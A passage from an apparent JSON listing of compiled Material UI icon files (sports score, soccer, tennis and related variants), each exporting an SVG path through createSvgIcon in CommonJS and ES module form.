    "path": "packages/mui-icons-material/lib/SportsScore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScore');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1s1-.45 1-1v-7h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V5c0-.55-.45-1-1-1s-1 .45-1 1v14c0 .55.45 1 1 1s1-.45 1-1v-7h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsScoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 6H9V4h2zm4-2h-2v2h2zM9 14h2v-2H9zm10-4V8h-2v2zm0 4v-2h-2v2zm-6 0h2v-2h-2zm6-10h-2v2h2zm-6 4V6h-2v2zm-6 2V8h2V6H7V4H5v16h2v-8h2v-2zm8 2h2v-2h-2zm-4-2v2h2v-2zM9 8v2h2V8zm4 2h2V8h-2zm2-4v2h2V6z\"\n}), 'SportsScoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.23 6c-1.66 0-3.22.66-4.36 1.73C6.54 6.73 5.61 6 4.5 6 3.12 6 2 7.12 2 8.5S3.12 11 4.5 11c.21 0 .41-.03.61-.08-.05.25-.09.51-.1.78-.18 3.68 2.95 6.68 6.68 6.27 2.55-.28 4.68-2.26 5.19-4.77.15-.71.15-1.4.06-2.06-.09-.6.38-1.13.99-1.13H22V6zM4.5 9c-.28 0-.5-.22-.5-.5s.22-.5.5-.5.5.22.5.5-.22.5-.5.5m6.5 6c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11\",\n  cy: \"12\",\n  r: \"2\"\n}, \"1\")], 'SportsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccer.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccer');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccer.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccer');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}), 'SportsSoccerSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.01 9.49 11 6.7V5.3l-1.35-.95c-1.82.57-3.37 1.77-4.38 3.34l.39 1.34zm-2 1.43-1 .73c0 .12-.01.23-.01.35 0 1.99.73 3.81 1.94 5.21l1.14-.1.79-1.37L6.4 11.4zm13.33-1.89.39-1.34c-1.01-1.57-2.55-2.77-4.38-3.34L13 5.3v1.4l3.99 2.79zm-9.97 1.95L9.73 15h4.54l1.36-4.02L12 8.44zM9.45 17l-.64 1.11.69 1.49c.79.25 1.63.4 2.5.4s1.71-.15 2.5-.41l.69-1.49-.64-1.1zm10.53-5.35-1-.73-1.38.48-1.46 4.34.79 1.37 1.14.1C19.27 15.81 20 13.99 20 12c0-.12-.01-.23-.02-.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}, \"1\")], 'SportsSoccerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsSoccerTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.01 9.49 11 6.7V5.3l-1.35-.95c-1.82.57-3.37 1.77-4.38 3.34l.39 1.34zm-2 1.43-1 .73c0 .12-.01.23-.01.35 0 1.99.73 3.81 1.94 5.21l1.14-.1.79-1.37L6.4 11.4zm13.33-1.89.39-1.34c-1.01-1.57-2.55-2.77-4.38-3.34L13 5.3v1.4l3.99 2.79zm-9.97 1.95L9.73 15h4.54l1.36-4.02L12 8.44zM9.45 17l-.64 1.11.69 1.49c.79.25 1.63.4 2.5.4s1.71-.15 2.5-.41l.69-1.49-.64-1.1zm10.53-5.35-1-.73-1.38.48-1.46 4.34.79 1.37 1.14.1C19.27 15.81 20 13.99 20 12c0-.12-.01-.23-.02-.35\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2m1 3.3 1.35-.95c1.82.56 3.37 1.76 4.38 3.34l-.39 1.34-1.35.46L13 6.7zm-3.35-.95L11 5.3v1.4L7.01 9.49l-1.35-.46-.39-1.34c1.01-1.57 2.56-2.77 4.38-3.34M7.08 17.11l-1.14.1C4.73 15.81 4 13.99 4 12c0-.12.01-.23.02-.35l1-.73 1.38.48 1.46 4.34zm7.42 2.48c-.79.26-1.63.41-2.5.41s-1.71-.15-2.5-.41l-.69-1.49.64-1.1h5.11l.64 1.11zM14.27 15H9.73l-1.35-4.02L12 8.44l3.63 2.54zm3.79 2.21-1.14-.1-.79-1.37 1.46-4.34 1.39-.47 1 .73c.01.11.02.22.02.34 0 1.99-.73 3.81-1.94 5.21\"\n}, \"1\")], 'SportsSoccerTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennis.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennis');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennis.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennis');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.52 2.49C17.18.15 12.9.62 9.97 3.55c-1.6 1.6-2.52 3.87-2.54 5.46-.02 1.58.26 3.89-1.35 5.5l-4.24 4.24 1.42 1.42 4.24-4.24c1.61-1.61 3.92-1.33 5.5-1.35s3.86-.94 5.46-2.54c2.92-2.93 3.4-7.21 1.06-9.55m-9.2 9.19c-1.53-1.53-1.05-4.61 1.06-6.72s5.18-2.59 6.72-1.06c1.53 1.53 1.05 4.61-1.06 6.72s-5.18 2.59-6.72 1.06M18 17c.53 0 1.04.21 1.41.59.78.78.78 2.05 0 2.83-.37.37-.88.58-1.41.58s-1.04-.21-1.41-.59c-.78-.78-.78-2.05 0-2.83.37-.37.88-.58 1.41-.58m0-2c-1.02 0-2.05.39-2.83 1.17-1.56 1.56-1.56 4.09 0 5.66.78.78 1.81 1.17 2.83 1.17s2.05-.39 2.83-1.17c1.56-1.56 1.56-4.09 0-5.66C20.05 15.39 19.02 15 18 15\"\n}), 'SportsTennisOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SportsTennisOutlined.mjs",
